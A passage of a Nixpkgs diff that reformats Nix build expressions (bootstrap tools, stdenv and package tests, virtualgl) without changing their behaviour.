-          # Hacky compat with our current unpack-bootstrap-tools.sh
-          ln -s librt.so "$out"/lib/librt-dummy.so
+        # Hacky compat with our current unpack-bootstrap-tools.sh
+        ln -s librt.so "$out"/lib/librt-dummy.so
 
-          cp -rL ${libc.dev}/include $out
-          chmod -R u+w "$out"
+        cp -rL ${libc.dev}/include $out
+        chmod -R u+w "$out"
 
-          # libc can contain linker scripts: find them, copy their deps,
-          # and get rid of absolute paths (nuke-refs would make them useless)
-          local lScripts=$(grep --files-with-matches --max-count=1 'GNU ld script' -R "$out/lib")
-          cp -d -t "$out/lib/" $(cat $lScripts | tr " " "\n" | grep -F '${libc.out}' | sort -u)
-          for f in $lScripts; do
-            substituteInPlace "$f" --replace '${libc.out}/lib/' ""
-          done
+        # libc can contain linker scripts: find them, copy their deps,
+        # and get rid of absolute paths (nuke-refs would make them useless)
+        local lScripts=$(grep --files-with-matches --max-count=1 'GNU ld script' -R "$out/lib")
+        cp -d -t "$out/lib/" $(cat $lScripts | tr " " "\n" | grep -F '${libc.out}' | sort -u)
+        for f in $lScripts; do
+          substituteInPlace "$f" --replace '${libc.out}/lib/' ""
+        done
 
-          # Hopefully we won't need these.
-          rm -rf $out/include/mtd $out/include/rdma $out/include/sound $out/include/video
-          find $out/include -name .install -exec rm {} \;
-          find $out/include -name ..install.cmd -exec rm {} \;
-          mv $out/include $out/include-glibc
-        ''
-      else if (stdenv.hostPlatform.libc == "musl") then
-        ''
-          # Copy what we need from musl
-          cp ${libc.out}/lib/* $out/lib
-          cp -rL ${libc.dev}/include $out
-          chmod -R u+w "$out"
+        # Hopefully we won't need these.
+        rm -rf $out/include/mtd $out/include/rdma $out/include/sound $out/include/video
+        find $out/include -name .install -exec rm {} \;
+        find $out/include -name ..install.cmd -exec rm {} \;
+        mv $out/include $out/include-glibc
+      ''
+    else if (stdenv.hostPlatform.libc == "musl") then
+      ''
+        # Copy what we need from musl
+        cp ${libc.out}/lib/* $out/lib
+        cp -rL ${libc.dev}/include $out
+        chmod -R u+w "$out"
 
-          rm -rf $out/include/mtd $out/include/rdma $out/include/sound $out/include/video
-          find $out/include -name .install -exec rm {} \;
-          find $out/include -name ..install.cmd -exec rm {} \;
-          mv $out/include $out/include-libc
-        ''
-      else
-        throw "unsupported libc for bootstrap tools"
-    )
-    + ''
-      # Copy coreutils, bash, etc.
-      cp -d ${coreutilsMinimal.out}/bin/* $out/bin
-      (cd $out/bin && rm vdir dir sha*sum pinky factor pathchk runcon shuf who whoami shred users)
+        rm -rf $out/include/mtd $out/include/rdma $out/include/sound $out/include/video
+        find $out/include -name .install -exec rm {} \;
+        find $out/include -name ..install.cmd -exec rm {} \;
+        mv $out/include $out/include-libc
+      ''
+    else
+      throw "unsupported libc for bootstrap tools"
+  )
+  + ''
+    # Copy coreutils, bash, etc.
+    cp -d ${coreutilsMinimal.out}/bin/* $out/bin
+    (cd $out/bin && rm vdir dir sha*sum pinky factor pathchk runcon shuf who whoami shred users)
 
-      cp ${bashNonInteractive.out}/bin/bash $out/bin
-      cp ${findutils.out}/bin/find $out/bin
-      cp ${findutils.out}/bin/xargs $out/bin
-      cp -d ${diffutils.out}/bin/* $out/bin
-      cp -d ${gnused.out}/bin/* $out/bin
-      cp -d ${gnugrep.out}/bin/grep $out/bin
-      cp ${gawk.out}/bin/gawk $out/bin
-      cp -d ${gawk.out}/bin/awk $out/bin
-      cp ${tarMinimal.out}/bin/tar $out/bin
-      cp ${gzip.out}/bin/.gzip-wrapped $out/bin/gzip
-      cp ${bzip2.bin}/bin/bzip2 $out/bin
-      cp -d ${gnumake.out}/bin/* $out/bin
-      cp -d ${patch}/bin/* $out/bin
-      cp ${patchelf}/bin/* $out/bin
+    cp ${bashNonInteractive.out}/bin/bash $out/bin
+    cp ${findutils.out}/bin/find $out/bin
+    cp ${findutils.out}/bin/xargs $out/bin
+    cp -d ${diffutils.out}/bin/* $out/bin
+    cp -d ${gnused.out}/bin/* $out/bin
+    cp -d ${gnugrep.out}/bin/grep $out/bin
+    cp ${gawk.out}/bin/gawk $out/bin
+    cp -d ${gawk.out}/bin/awk $out/bin
+    cp ${tarMinimal.out}/bin/tar $out/bin
+    cp ${gzip.out}/bin/.gzip-wrapped $out/bin/gzip
+    cp ${bzip2.bin}/bin/bzip2 $out/bin
+    cp -d ${gnumake.out}/bin/* $out/bin
+    cp -d ${patch}/bin/* $out/bin
+    cp ${patchelf}/bin/* $out/bin
 
-      cp -d ${gnugrep.pcre2.out}/lib/libpcre2*.so* $out/lib # needed by grep
+    cp -d ${gnugrep.pcre2.out}/lib/libpcre2*.so* $out/lib # needed by grep
 
-      # Copy what we need of GCC.
-      cp -d ${bootGCC.out}/bin/gcc $out/bin
-      cp -d ${bootGCC.out}/bin/cpp $out/bin
-      cp -d ${bootGCC.out}/bin/g++ $out/bin
-      cp    ${bootGCC.lib}/lib/libgcc_s.so* $out/lib
-      cp -d ${bootGCC.lib}/lib/libstdc++.so* $out/lib
-      cp -d ${bootGCC.out}/lib/libssp.a* $out/lib
-      cp -d ${bootGCC.out}/lib/libssp_nonshared.a $out/lib
-      cp -rd ${bootGCC.out}/lib/gcc $out/lib
-      chmod -R u+w $out/lib
-      rm -f $out/lib/gcc/*/*/include*/linux
-      rm -f $out/lib/gcc/*/*/include*/sound
-      rm -rf $out/lib/gcc/*/*/include*/root
-      rm -f $out/lib/gcc/*/*/include-fixed/asm
-      rm -rf $out/lib/gcc/*/*/plugin
-      #rm -f $out/lib/gcc/*/*/*.a
-      cp -rd ${bootGCC.out}/libexec/* $out/libexec
-      chmod -R u+w $out/libexec
-      rm -rf $out/libexec/gcc/*/*/plugin
-      mkdir -p $out/include
-      cp -rd ${bootGCC.out}/include/c++ $out/include
-      chmod -R u+w $out/include
-      rm -rf $out/include/c++/*/ext/pb_ds
-      rm -rf $out/include/c++/*/ext/parallel
+    # Copy what we need of GCC.
+    cp -d ${bootGCC.out}/bin/gcc $out/bin
+    cp -d ${bootGCC.out}/bin/cpp $out/bin
+    cp -d ${bootGCC.out}/bin/g++ $out/bin
+    cp    ${bootGCC.lib}/lib/libgcc_s.so* $out/lib
+    cp -d ${bootGCC.lib}/lib/libstdc++.so* $out/lib
+    cp -d ${bootGCC.out}/lib/libssp.a* $out/lib
+    cp -d ${bootGCC.out}/lib/libssp_nonshared.a $out/lib
+    cp -rd ${bootGCC.out}/lib/gcc $out/lib
+    chmod -R u+w $out/lib
+    rm -f $out/lib/gcc/*/*/include*/linux
+    rm -f $out/lib/gcc/*/*/include*/sound
+    rm -rf $out/lib/gcc/*/*/include*/root
+    rm -f $out/lib/gcc/*/*/include-fixed/asm
+    rm -rf $out/lib/gcc/*/*/plugin
+    #rm -f $out/lib/gcc/*/*/*.a
+    cp -rd ${bootGCC.out}/libexec/* $out/libexec
+    chmod -R u+w $out/libexec
+    rm -rf $out/libexec/gcc/*/*/plugin
+    mkdir -p $out/include
+    cp -rd ${bootGCC.out}/include/c++ $out/include
+    chmod -R u+w $out/include
+    rm -rf $out/include/c++/*/ext/pb_ds
+    rm -rf $out/include/c++/*/ext/parallel
 
-      cp -d ${gmpxx.out}/lib/libgmp*.so* $out/lib
-      cp -d ${mpfr.out}/lib/libmpfr*.so* $out/lib
-      cp -d ${libmpc.out}/lib/libmpc*.so* $out/lib
-      cp -d ${zlib.out}/lib/libz.so* $out/lib
+    cp -d ${gmpxx.out}/lib/libgmp*.so* $out/lib
+    cp -d ${mpfr.out}/lib/libmpfr*.so* $out/lib
+    cp -d ${libmpc.out}/lib/libmpc*.so* $out/lib
+    cp -d ${zlib.out}/lib/libz.so* $out/lib
 
-    ''
-    + lib.optionalString (stdenv.hostPlatform.isRiscV) ''
-      # libatomic is required on RiscV platform for C/C++ atomics and pthread
-      # even though they may be translated into native instructions.
-      cp -d ${bootGCC.out}/lib/libatomic.a* $out/lib
+  ''
+  + lib.optionalString (stdenv.hostPlatform.isRiscV) ''
+    # libatomic is required on RiscV platform for C/C++ atomics and pthread
+    # even though they may be translated into native instructions.
+    cp -d ${bootGCC.out}/lib/libatomic.a* $out/lib
 
-    ''
-    + ''
-      cp -d ${bzip2.out}/lib/libbz2.so* $out/lib
+  ''
+  + ''
+    cp -d ${bzip2.out}/lib/libbz2.so* $out/lib
 
-      # Copy binutils.
-      for i in as ld ar ranlib nm strip readelf objdump; do
-        cp ${bootBinutils.out}/bin/$i $out/bin
-      done
-      cp -r '${lib.getLib binutils.bintools}'/lib/* "$out/lib/"
+    # Copy binutils.
+    for i in as ld ar ranlib nm strip readelf objdump; do
+      cp ${bootBinutils.out}/bin/$i $out/bin
+    done
+    cp -r '${lib.getLib binutils.bintools}'/lib/* "$out/lib/"
 
-      chmod -R u+w $out
+    chmod -R u+w $out
 
-      # Strip executables even further.
-      for i in $out/bin/* $out/libexec/gcc/*/*/*; do
-          if test -x $i -a ! -L $i; then
-              chmod +w $i
-              $STRIP -s $i || true
-          fi
-      done
+    # Strip executables even further.
+    for i in $out/bin/* $out/libexec/gcc/*/*/*; do
+        if test -x $i -a ! -L $i; then
+            chmod +w $i
+            $STRIP -s $i || true
+        fi
+    done
 
-      nuke-refs $out/bin/*
-      nuke-refs $out/lib/*
-      nuke-refs $out/lib/*/*
-      nuke-refs $out/libexec/gcc/*/*/*
-      nuke-refs $out/lib/gcc/*/*/*
-      nuke-refs $out/lib/gcc/*/*/include-fixed/*{,/*}
+    nuke-refs $out/bin/*
+    nuke-refs $out/lib/*
+    nuke-refs $out/lib/*/*
+    nuke-refs $out/libexec/gcc/*/*/*
+    nuke-refs $out/lib/gcc/*/*/*
+    nuke-refs $out/lib/gcc/*/*/include-fixed/*{,/*}
 
-      mkdir $out/.pack
-      mv $out/* $out/.pack
-      mv $out/.pack $out/pack
+    mkdir $out/.pack
+    mv $out/* $out/.pack
+    mv $out/.pack $out/pack
 
-      mkdir $out/on-server
-      XZ_OPT="-9 -e" tar cvJf $out/on-server/bootstrap-tools.tar.xz --hard-dereference --sort=name --numeric-owner --owner=0 --group=0 --mtime=@1 -C $out/pack .
-      cp ${busyboxMinimal}/bin/busybox $out/on-server
-      chmod u+w $out/on-server/busybox
-      nuke-refs $out/on-server/busybox
-    ''; # */
+    mkdir $out/on-server
+    XZ_OPT="-9 -e" tar cvJf $out/on-server/bootstrap-tools.tar.xz --hard-dereference --sort=name --numeric-owner --owner=0 --group=0 --mtime=@1 -C $out/pack .
+    cp ${busyboxMinimal}/bin/busybox $out/on-server
+    chmod u+w $out/on-server/busybox
+    nuke-refs $out/on-server/busybox
+  ''; # */
 
   # The result should not contain any references (store paths) so
   # that we can safely copy them out of the store and to other
diff --git a/pkgs/stdenv/linux/test-bootstrap-tools.nix b/pkgs/stdenv/linux/test-bootstrap-tools.nix
index e199e5159195..ee4e3b0e6c4c 100644
--- a/pkgs/stdenv/linux/test-bootstrap-tools.nix
+++ b/pkgs/stdenv/linux/test-bootstrap-tools.nix
@@ -18,54 +18,53 @@ builtins.derivation {
     "eval \"$buildCommand\""
   ];
 
-  buildCommand =
-    ''
-      export PATH=${bootstrapTools}/bin
+  buildCommand = ''
+    export PATH=${bootstrapTools}/bin
 
-      ls -l
-      mkdir $out
-      mkdir $out/bin
-      sed --version
-      find --version
-      diff --version
-      patch --version
-      make --version
-      awk --version
-      grep --version
-      gcc --version
+    ls -l
+    mkdir $out
+    mkdir $out/bin
+    sed --version
+    find --version
+    diff --version
+    patch --version
+    make --version
+    awk --version
+    grep --version
+    gcc --version
 
-    ''
-    + lib.optionalString (stdenv.hostPlatform.libc == "glibc") ''
-      rtld=$(echo ${bootstrapTools}/lib/${builtins.unsafeDiscardStringContext # only basename
-        (builtins.baseNameOf binutils.dynamicLinker)})
-      libc_includes=${bootstrapTools}/include-glibc
-    ''
-    + lib.optionalString (stdenv.hostPlatform.libc == "musl") ''
-      rtld=$(echo ${bootstrapTools}/lib/ld-musl*.so.?)
-      libc_includes=${bootstrapTools}/include-libc
-    ''
-    + ''
-      # path to version-specific libraries, like libstdc++.so
-      cxx_libs=$(echo ${bootstrapTools}/lib/gcc/*/*)
-      export CPP="cpp -idirafter $libc_includes -B${bootstrapTools}"
-      export  CC="gcc -idirafter $libc_includes -B${bootstrapTools} -Wl,-dynamic-linker,$rtld -Wl,-rpath,${bootstrapTools}/lib -Wl,-rpath,$cxx_libs"
-      export CXX="g++ -idirafter $libc_includes -B${bootstrapTools} -Wl,-dynamic-linker,$rtld -Wl,-rpath,${bootstrapTools}/lib -Wl,-rpath,$cxx_libs"
+  ''
+  + lib.optionalString (stdenv.hostPlatform.libc == "glibc") ''
+    rtld=$(echo ${bootstrapTools}/lib/${builtins.unsafeDiscardStringContext # only basename
+      (builtins.baseNameOf binutils.dynamicLinker)})
+    libc_includes=${bootstrapTools}/include-glibc
+  ''
+  + lib.optionalString (stdenv.hostPlatform.libc == "musl") ''
+    rtld=$(echo ${bootstrapTools}/lib/ld-musl*.so.?)
+    libc_includes=${bootstrapTools}/include-libc
+  ''
+  + ''
+    # path to version-specific libraries, like libstdc++.so
+    cxx_libs=$(echo ${bootstrapTools}/lib/gcc/*/*)
+    export CPP="cpp -idirafter $libc_includes -B${bootstrapTools}"
+    export  CC="gcc -idirafter $libc_includes -B${bootstrapTools} -Wl,-dynamic-linker,$rtld -Wl,-rpath,${bootstrapTools}/lib -Wl,-rpath,$cxx_libs"
+    export CXX="g++ -idirafter $libc_includes -B${bootstrapTools} -Wl,-dynamic-linker,$rtld -Wl,-rpath,${bootstrapTools}/lib -Wl,-rpath,$cxx_libs"
 
-      echo '#include <stdio.h>' >> foo.c
-      echo '#include <limits.h>' >> foo.c
-      echo 'int main() { printf("Hello World\\n"); return 0; }' >> foo.c
-      $CC -o $out/bin/foo foo.c
-      $out/bin/foo
+    echo '#include <stdio.h>' >> foo.c
+    echo '#include <limits.h>' >> foo.c
+    echo 'int main() { printf("Hello World\\n"); return 0; }' >> foo.c
+    $CC -o $out/bin/foo foo.c
+    $out/bin/foo
 
-      echo '#include <iostream>' >> bar.cc
-      echo 'int main() { std::cout << "Hello World\\n"; }' >> bar.cc
-      $CXX -v -o $out/bin/bar bar.cc
-      $out/bin/bar
+    echo '#include <iostream>' >> bar.cc
+    echo 'int main() { std::cout << "Hello World\\n"; }' >> bar.cc
+    $CXX -v -o $out/bin/bar bar.cc
+    $out/bin/bar
 
-      tar xvf ${hello.src}
-      cd hello-*
-      ./configure --prefix=$out
-      make
-      make install
-    '';
+    tar xvf ${hello.src}
+    cd hello-*
+    ./configure --prefix=$out
+    make
+    make install
+  '';
 }
diff --git a/pkgs/stdenv/native/default.nix b/pkgs/stdenv/native/default.nix
index 66ac2aa7d129..2be03abd9528 100644
--- a/pkgs/stdenv/native/default.nix
+++ b/pkgs/stdenv/native/default.nix
@@ -77,23 +77,22 @@ let
     export lt_cv_deplibs_check_method=pass_all
   '';
 
-  extraNativeBuildInputsCygwin =
-    [
-      ../cygwin/all-buildinputs-as-runtimedep.sh
-      ../cygwin/wrap-exes-to-find-dlls.sh
-    ]
-    ++ (
-      if system == "i686-cygwin" then
-        [
-          ../cygwin/rebase-i686.sh
-        ]
-      else if system == "x86_64-cygwin" then
-        [
-          ../cygwin/rebase-x86_64.sh
-        ]
-      else
-        [ ]
-    );
+  extraNativeBuildInputsCygwin = [
+    ../cygwin/all-buildinputs-as-runtimedep.sh
+    ../cygwin/wrap-exes-to-find-dlls.sh
+  ]
+  ++ (
+    if system == "i686-cygwin" then
+      [
+        ../cygwin/rebase-i686.sh
+      ]
+    else if system == "x86_64-cygwin" then
+      [
+        ../cygwin/rebase-x86_64.sh
+      ]
+    else
+      [ ]
+  );
 
   # A function that builds a "native" stdenv (one that uses tools in
   # /usr etc.).
diff --git a/pkgs/test/auto-patchelf-hook/package.nix b/pkgs/test/auto-patchelf-hook/package.nix
index c67aa2ca375b..7f5919a1ea3e 100644
--- a/pkgs/test/auto-patchelf-hook/package.nix
+++ b/pkgs/test/auto-patchelf-hook/package.nix
@@ -18,14 +18,13 @@
 }:
 
 let
-  runtimeDependencies =
-    [
-      (lib.getLib curl)
-      "/some/dep"
-      "/some/other/dep"
-    ]
-    # A dependency with space only works with __structuredAttrs set to true.
-    ++ lib.lists.optional __structuredAttrs "/some/dep with space";
+  runtimeDependencies = [
+    (lib.getLib curl)
+    "/some/dep"
+    "/some/other/dep"
+  ]
+  # A dependency with space only works with __structuredAttrs set to true.
+  ++ lib.lists.optional __structuredAttrs "/some/dep with space";
 in
 
 stdenv.mkDerivation {
diff --git a/pkgs/test/cc-wrapper/hardening.nix b/pkgs/test/cc-wrapper/hardening.nix
index d7cd60134652..fbad63ce933a 100644
--- a/pkgs/test/cc-wrapper/hardening.nix
+++ b/pkgs/test/cc-wrapper/hardening.nix
@@ -22,7 +22,8 @@ let
           inherit codePath;
           preferLocalBuild = true;
           allowSubstitutes = false;
-        } // env;
+        }
+        // env;
       }
       ''
         [ -n "$postConfigure" ] && eval "$postConfigure"
diff --git a/pkgs/test/cross/default.nix b/pkgs/test/cross/default.nix
index f1696c915c34..c1c9737eddf1 100644
--- a/pkgs/test/cross/default.nix
+++ b/pkgs/test/cross/default.nix
@@ -174,43 +174,42 @@ let
   # so we can ask @ofborg to check it, yet should have good examples
   # of things that often break.  So, no buckshot `mapTestOnCross`
   # calls here.
-  sanity =
-    [
-      mbuffer
-      #pkgs.pkgsCross.gnu64.bash # https://github.com/NixOS/nixpkgs/issues/243164
-      pkgs.gcc_multi.cc
-      pkgs.pkgsMusl.stdenv
-      pkgs.pkgsLLVM.stdenv
-      pkgs.pkgsStatic.bash
-      #pkgs.pkgsCross.gnu64_simplekernel.bash   # https://github.com/NixOS/nixpkgs/issues/264989
-      pkgs.pkgsCross.arm-embedded.stdenv
-      pkgs.pkgsCross.sheevaplug.stdenv # for armv5tel
-      pkgs.pkgsCross.raspberryPi.stdenv # for armv6l
-      pkgs.pkgsCross.armv7l-hf-multiplatform.stdenv
-      pkgs.pkgsCross.m68k.stdenv
-      pkgs.pkgsCross.aarch64-multiplatform.pkgsBuildTarget.gcc
-      pkgs.pkgsCross.powernv.pkgsBuildTarget.gcc
-      pkgs.pkgsCross.s390.stdenv
-      pkgs.pkgsCross.mips64el-linux-gnuabi64.stdenv
-      pkgs.pkgsCross.mips64el-linux-gnuabin32.stdenv
-      pkgs.pkgsCross.mingwW64.stdenv
-      # Uses the expression that is used by the most cross-compil_ed_ GHCs
-      pkgs.pkgsCross.riscv64.haskell.compiler.native-bignum.ghc948
+  sanity = [
+    mbuffer
+    #pkgs.pkgsCross.gnu64.bash # https://github.com/NixOS/nixpkgs/issues/243164
+    pkgs.gcc_multi.cc
+    pkgs.pkgsMusl.stdenv
+    pkgs.pkgsLLVM.stdenv
+    pkgs.pkgsStatic.bash
+    #pkgs.pkgsCross.gnu64_simplekernel.bash   # https://github.com/NixOS/nixpkgs/issues/264989
+    pkgs.pkgsCross.arm-embedded.stdenv
+    pkgs.pkgsCross.sheevaplug.stdenv # for armv5tel
+    pkgs.pkgsCross.raspberryPi.stdenv # for armv6l
+    pkgs.pkgsCross.armv7l-hf-multiplatform.stdenv
+    pkgs.pkgsCross.m68k.stdenv
+    pkgs.pkgsCross.aarch64-multiplatform.pkgsBuildTarget.gcc
+    pkgs.pkgsCross.powernv.pkgsBuildTarget.gcc
+    pkgs.pkgsCross.s390.stdenv
+    pkgs.pkgsCross.mips64el-linux-gnuabi64.stdenv
+    pkgs.pkgsCross.mips64el-linux-gnuabin32.stdenv
+    pkgs.pkgsCross.mingwW64.stdenv
+    # Uses the expression that is used by the most cross-compil_ed_ GHCs
+    pkgs.pkgsCross.riscv64.haskell.compiler.native-bignum.ghc948
 
-    ]
-    ++ lib.optionals (with pkgs.stdenv.buildPlatform; isx86_64 && isLinux) [
-      # Musl-to-glibc cross on the same architecture tends to turn up
-      # lots of interesting corner cases.  Only expected to work for
-      # x86_64-linux buildPlatform.
-      pkgs.pkgsMusl.pkgsCross.gnu64.hello
+  ]
+  ++ lib.optionals (with pkgs.stdenv.buildPlatform; isx86_64 && isLinux) [
+    # Musl-to-glibc cross on the same architecture tends to turn up
+    # lots of interesting corner cases.  Only expected to work for
+    # x86_64-linux buildPlatform.
+    pkgs.pkgsMusl.pkgsCross.gnu64.hello
 
-      # Two web browsers -- exercises almost the entire packageset
-      pkgs.pkgsCross.aarch64-multiplatform.qutebrowser-qt5
-      pkgs.pkgsCross.aarch64-multiplatform.firefox
+    # Two web browsers -- exercises almost the entire packageset
+    pkgs.pkgsCross.aarch64-multiplatform.qutebrowser-qt5
+    pkgs.pkgsCross.aarch64-multiplatform.firefox
 
-      # Uses pkgsCross.riscv64-embedded; see https://github.com/NixOS/nixpkgs/issues/267859
-      pkgs.spike
-    ];
+    # Uses pkgsCross.riscv64-embedded; see https://github.com/NixOS/nixpkgs/issues/267859
+    pkgs.spike
+  ];
 
 in
 {
diff --git a/pkgs/test/dotnet/use-dotnet-from-env/default.nix b/pkgs/test/dotnet/use-dotnet-from-env/default.nix
index 2acda2173889..97f4b139a673 100644
--- a/pkgs/test/dotnet/use-dotnet-from-env/default.nix
+++ b/pkgs/test/dotnet/use-dotnet-from-env/default.nix
@@ -21,11 +21,9 @@ let
     nativeBuildInputs = (oldAttrs.nativeBuildInputs or [ ]) ++ [
       removeReferencesTo
     ];
-    postFixup =
-      (oldAttrs.postFixup or "")
-      + ''
-        remove-references-to -t ${dotnet-runtime} "$out/bin/Application"
-      '';
+    postFixup = (oldAttrs.postFixup or "") + ''
+      remove-references-to -t ${dotnet-runtime} "$out/bin/Application"
+    '';
   });
 
   runtimeVersion = lib.getVersion dotnet-runtime;
diff --git a/pkgs/test/haskell/upstreamStackHpackVersion/default.nix b/pkgs/test/haskell/upstreamStackHpackVersion/default.nix
index 4e01c213700b..5092bb473049 100644
--- a/pkgs/test/haskell/upstreamStackHpackVersion/default.nix
+++ b/pkgs/test/haskell/upstreamStackHpackVersion/default.nix
@@ -136,16 +136,15 @@ stdenv.mkDerivation {
 
   impureEnvVars = lib.fetchers.proxyImpureEnvVars;
 
-  buildCommand =
-    ''
-      # Make sure curl can access HTTPS sites, like GitHub.
-      #
-      # Note that we absolutely don't want the Nix store path of the cacert
-      # derivation in the testScript, because we don't want to rebuild this
-      # derivation when only the cacert derivation changes.
-      export SSL_CERT_FILE="${cacert}/etc/ssl/certs/ca-bundle.crt"
-    ''
-    + testScript;
+  buildCommand = ''
+    # Make sure curl can access HTTPS sites, like GitHub.
+    #
+    # Note that we absolutely don't want the Nix store path of the cacert
+    # derivation in the testScript, because we don't want to rebuild this
+    # derivation when only the cacert derivation changes.
+    export SSL_CERT_FILE="${cacert}/etc/ssl/certs/ca-bundle.crt"
+  ''
+  + testScript;
 
   meta = with lib; {
     description = "Test that the stack in Nixpkgs uses the same version of Hpack as the upstream stack release";
diff --git a/pkgs/test/overriding.nix b/pkgs/test/overriding.nix
index 29bdbf2fd8fd..67ed3bd90f9a 100644
--- a/pkgs/test/overriding.nix
+++ b/pkgs/test/overriding.nix
@@ -312,12 +312,11 @@ in
 stdenvNoCC.mkDerivation {
   name = "test-overriding";
   passthru = { inherit tests; };
-  buildCommand =
-    ''
-      touch $out
-    ''
-    + lib.concatMapAttrsStringSep "\n" (
-      name: t:
-      "([[ ${lib.boolToString t.expr} == ${lib.boolToString t.expected} ]] && echo '${name} success') || (echo '${name} fail' && exit 1)"
-    ) tests;
+  buildCommand = ''
+    touch $out
+  ''
+  + lib.concatMapAttrsStringSep "\n" (
+    name: t:
+    "([[ ${lib.boolToString t.expr} == ${lib.boolToString t.expected} ]] && echo '${name} success') || (echo '${name} fail' && exit 1)"
+  ) tests;
 }
diff --git a/pkgs/test/php/default.nix b/pkgs/test/php/default.nix
index cef46d3e3fa6..f2f129925f04 100644
--- a/pkgs/test/php/default.nix
+++ b/pkgs/test/php/default.nix
@@ -46,11 +46,9 @@ in
   overrideAttrs-preserves-enabled-extensions =
     let
       customPhp = (php.withExtensions ({ all, ... }: [ all.imagick ])).overrideAttrs (attrs: {
-        postInstall =
-          attrs.postInstall or ""
-          + ''
-            touch "$out/oApee-was-here"
-          '';
+        postInstall = attrs.postInstall or "" + ''
+          touch "$out/oApee-was-here"
+        '';
       });
     in
     runTest "php-test-overrideAttrs-preserves-enabled-extensions" ''
@@ -74,22 +72,18 @@ in
         (
           pkg:
           pkg.overrideAttrs (attrs: {
-            postInstall =
-              attrs.postInstall or ""
-              + ''
-                touch "$out/oAs-first"
-              '';
+            postInstall = attrs.postInstall or "" + ''
+              touch "$out/oAs-first"
+            '';
           })
         )
 
         (
           pkg:
           pkg.overrideAttrs (attrs: {
-            postInstall =
-              attrs.postInstall or ""
-              + ''
-                touch "$out/oAs-second"
-              '';
+            postInstall = attrs.postInstall or "" + ''
+              touch "$out/oAs-second"
+            '';
           })
         )
       ];
@@ -108,22 +102,18 @@ in
         (
           pkg:
           pkg.overrideAttrs (attrs: {
-            postInstall =
-              attrs.postInstall or ""
-              + ''
-                touch "$out/oAs-first"
-              '';
+            postInstall = attrs.postInstall or "" + ''
+              touch "$out/oAs-first"
+            '';
           })
         )
 
         (
           pkg:
           pkg.overrideAttrs (attrs: {
-            postInstall =
-              attrs.postInstall or ""
-              + ''
-                touch "$out/oAs-second"
-              '';
+            postInstall = attrs.postInstall or "" + ''
+              touch "$out/oAs-second"
+            '';
           })
         )
       ];
diff --git a/pkgs/test/stdenv/default.nix b/pkgs/test/stdenv/default.nix
index e0f868b25519..88b75838df3c 100644
--- a/pkgs/test/stdenv/default.nix
+++ b/pkgs/test/stdenv/default.nix
@@ -40,21 +40,19 @@ let
         {
           inherit name;
 
-          postFixup =
-            previousAttrs.postFixup
-            + ''
-              declare -p wrapperName
-              echo "env.wrapperName = $wrapperName"
-              [[ $wrapperName == "CC_WRAPPER" ]] || (echo "'\$wrapperName' was not 'CC_WRAPPER'" && false)
-              declare -p suffixSalt
-              echo "env.suffixSalt = $suffixSalt"
-              [[ $suffixSalt == "${stdenv'.cc.suffixSalt}" ]] || (echo "'\$suffxSalt' was not '${stdenv'.cc.suffixSalt}'" && false)
+          postFixup = previousAttrs.postFixup + ''
+            declare -p wrapperName
+            echo "env.wrapperName = $wrapperName"
+            [[ $wrapperName == "CC_WRAPPER" ]] || (echo "'\$wrapperName' was not 'CC_WRAPPER'" && false)
+            declare -p suffixSalt
+            echo "env.suffixSalt = $suffixSalt"
+            [[ $suffixSalt == "${stdenv'.cc.suffixSalt}" ]] || (echo "'\$suffxSalt' was not '${stdenv'.cc.suffixSalt}'" && false)
 
-              grep -q "@out@" $out/bin/cc || echo "@out@ in $out/bin/cc was substituted"
-              grep -q "@suffixSalt@" $out/bin/cc && (echo "$out/bin/cc contains unsubstituted variables" && false)
+            grep -q "@out@" $out/bin/cc || echo "@out@ in $out/bin/cc was substituted"
+            grep -q "@suffixSalt@" $out/bin/cc && (echo "$out/bin/cc contains unsubstituted variables" && false)
 
-              touch $out
-            '';
+            touch $out
+          '';
         }
         // extraAttrs
       )
diff --git a/pkgs/test/stdenv/no-broken-symlinks.nix b/pkgs/test/stdenv/no-broken-symlinks.nix
index af23373c5630..8e09baccd479 100644
--- a/pkgs/test/stdenv/no-broken-symlinks.nix
+++ b/pkgs/test/stdenv/no-broken-symlinks.nix
@@ -52,12 +52,11 @@ let
         dontPatch = true;
         dontConfigure = true;
         dontBuild = true;
-        installPhase =
-          ''
-            mkdir -p "$out"
+        installPhase = ''
+          mkdir -p "$out"
 
-          ''
-          + concatStringsSep "\n" commands;
+        ''
+        + concatStringsSep "\n" commands;
       }
       // derivationArgs
     );
diff --git a/pkgs/test/texlive/default.nix b/pkgs/test/texlive/default.nix
index 4154249ad1a6..866d82a5702a 100644
--- a/pkgs/test/texlive/default.nix
+++ b/pkgs/test/texlive/default.nix
@@ -446,7 +446,8 @@ rec {
 
         # 'Error initialising QuantumRenderer: no suitable pipeline found'
         "tlcockpit"
-      ] ++ lib.optional stdenv.hostPlatform.isDarwin "epspdftk"; # wish shebang is a script, not a binary!
+      ]
+      ++ lib.optional stdenv.hostPlatform.isDarwin "epspdftk"; # wish shebang is a script, not a binary!
 
       # (1) binaries requiring -v
       shortVersion = [
diff --git a/pkgs/tools/X11/virtualgl/default.nix b/pkgs/tools/X11/virtualgl/default.nix
index de7f6d21fbf7..15de52551f3e 100644
--- a/pkgs/tools/X11/virtualgl/default.nix
+++ b/pkgs/tools/X11/virtualgl/default.nix
@@ -15,29 +15,28 @@ stdenv.mkDerivation {
   paths = [ virtualglLib ];
   nativeBuildInputs = [ makeWrapper ];
 
-  buildCommand =
-    ''
-      mkdir -p $out/bin
-      for i in ${virtualglLib}/bin/* ${virtualglLib}/bin/.vglrun*; do
-        ln -s "$i" $out/bin
-      done
+  buildCommand = ''
+    mkdir -p $out/bin
+    for i in ${virtualglLib}/bin/* ${virtualglLib}/bin/.vglrun*; do
+      ln -s "$i" $out/bin
+    done
 
-      wrapProgram $out/bin/vglrun \
-        --prefix LD_LIBRARY_PATH : "${
-          lib.makeLibraryPath [
-            virtualglLib
-            virtualglLib_i686
+    wrapProgram $out/bin/vglrun \
+      --prefix LD_LIBRARY_PATH : "${
+        lib.makeLibraryPath [
+          virtualglLib
+          virtualglLib_i686
 
-            addDriverRunpath.driverLink
+          addDriverRunpath.driverLink
 
-            # Needed for vulkaninfo to work
-            vulkan-loader
-          ]
-        }"
-    ''
-    + lib.optionalString (virtualglLib_i686 != null) ''
-      ln -sf ${virtualglLib_i686}/bin/.vglrun.vars32 $out/bin
-    '';
+          # Needed for vulkaninfo to work
+          vulkan-loader
+        ]
+      }"
+  ''
+  + lib.optionalString (virtualglLib_i686 != null) ''
+    ln -sf ${virtualglLib_i686}/bin/.vglrun.vars32 $out/bin
+  '';
 
   meta = {
